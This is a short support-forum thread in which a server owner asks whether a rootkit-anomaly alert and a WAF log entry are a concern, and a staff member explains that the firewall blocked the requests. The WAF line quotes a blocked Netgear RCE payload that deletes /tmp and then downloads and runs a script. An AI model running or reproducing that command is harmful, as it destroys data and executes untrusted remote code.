Should I be concerned about these log entries?
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  1. Glenn Taylor
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- Anomaly detected in file '/tmp/#sql_80d_2.MAD'. Hidden from stats, but showing up on readdir. Possible kernel level rootkit.

There was a number of these log entries around the same time:

- IM360 WAF: Netgear unauthenticated RCE||T:APACHE||MVN:ARGS:cmd||MV:rm -rf /tmp/*;wget -O /tmp/netgear;sh netgear||

I don’t see #sql_80d_2.MAD in /tmp

It looks kind of nasty.

Any insight would be appreciated.

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  1. 17.09.2020 10:09:42
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Sergey Khristich Accepted Answer
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Joined: 20.05.2019
Hello Glenn,
Thank you for reaching out! These log entries mean that malware requests come to your server in a random order, and the Imunify360 firewall blocks these requests. It does not mean that your server has been compromised.
You can also create a ticket to check the infection of the server, and our malware analysts will be able to check for sure.
If you have any other questions, feel free to ask here. Thank you for contacting us.
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  1. 17.09.2020 22:09:53
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Glenn Taylor Accepted Answer
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Joined: 23.04.2015
Thanks Sergey for your reply. My tech confirmed as well that it's nothing to worry about.
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